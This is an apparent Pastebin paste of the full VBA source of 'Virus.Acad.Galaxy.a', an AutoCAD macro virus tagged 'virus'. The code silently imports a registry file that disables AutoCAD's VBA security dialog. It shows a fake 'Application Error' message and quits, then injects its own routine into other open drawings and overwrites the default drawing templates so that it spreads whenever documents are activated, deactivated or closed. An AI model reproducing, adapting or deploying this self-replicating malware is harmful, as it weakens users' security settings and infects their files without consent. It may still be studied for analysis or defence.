Advertisement
FlyFar

Virus.Acad.Galaxy.a - Source Code

Jul 8th, 2023
1,438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
CAD Lisp 2.19 KB | Cybersecurity | 0 0
  1. Public WithEvents ACADApp As AcadApplication
  2. Sub galaxy()
  3. Set ACADApp = GetObject(, "AutoCAD.Application")
  4. Set VBEModel = VBE
  5. On Error GoTo runtonext
  6. d1 = Dir("c:\firstrun.txt")
  7. bignum = Int((150000 * Rnd) + 1)
  8. t1 = Application.Preferences.Profiles.ActiveProfile
  9. a1 = FileSystem.Dir("c:\cad.reg")
  10. If a1 = "" Then
  11. Open "c:\cad.reg" For Output As 1
  12. Print #1, "REGEDIT4"
  13. Print #1, "[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
  14. Print #1, """AutoEmbedding""=dword:00000001"
  15. Print #1, """AllowBreakOnErrors""=dword:00000000"
  16. Print #1, """ShowSecurityDlg""=dword:00000000"
  17. Print #1, "[HKEY_LOCAL_MACHINE\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
  18. Print #1, """AutoEmbedding""=dword:00000001"
  19. Print #1, """AllowBreakOnErrors""=dword:00000000"
  20. Print #1, """ShowSecurityDlg""=dword:00000000"
  21. Close #1
  22. Reset
  23. Shell "regedit /s c:\cad.reg", vbHide
  24. Open "c:\firstrun.txt" For Output As #1: Close #1
  25. MsgBox "Invalid Ordinal " & bignum, vbCritical, "Application Error"
  26. Application.Quit
  27. End If
  28. le = 0
  29. For i = 1 To Documents.Count
  30. Set at = VBEModel.codepanes(i).codemodule
  31. If at.lines(4, 1) = "Set VBEModel = VBE" And le = 0 Then
  32. newroutine = at.lines(1, at.countoflines)
  33. le = 1
  34. i = 0
  35. End If
  36. If at.lines(4, 1) <> "Set VBEModel = VBE" And le = 1 Then
  37. VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
  38. If d1 = "firstrun.txt" Then
  39. ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acad.dwt", acR15_Template
  40. ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acadiso.dwt", acR15_Template
  41. ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACAD -Named Plot Styles.dwt", acR15_Template
  42. ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACADISO -Named Plot Styles.dwt", acR15_Template
  43. d1 = ""
  44. Kill ("c:\firstrun.txt")
  45. End If
  46. ACADApp.Documents(i).Save
  47. End If
  48. runtonext:
  49. Next i
  50. newroutine = ""
  51. 'if a star went out
  52. 'every time i thought of you
  53. 'the night skies
  54. 'would be empty forever
  55. 'Acad/Galaxy
  56. End Sub
  57.  
  58. Private Sub AcadDocument_BeginClose()
  59. Call galaxy
  60. 'AsT
  61. End Sub
  62.  
  63. Private Sub AcadDocument_Deactivate()
  64.    Call galaxy
  65. End Sub
  66.    
  67. Private Sub AcadDocument_Activate()
  68.   Call galaxy
  69. End Sub
  70.  
Tags: virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement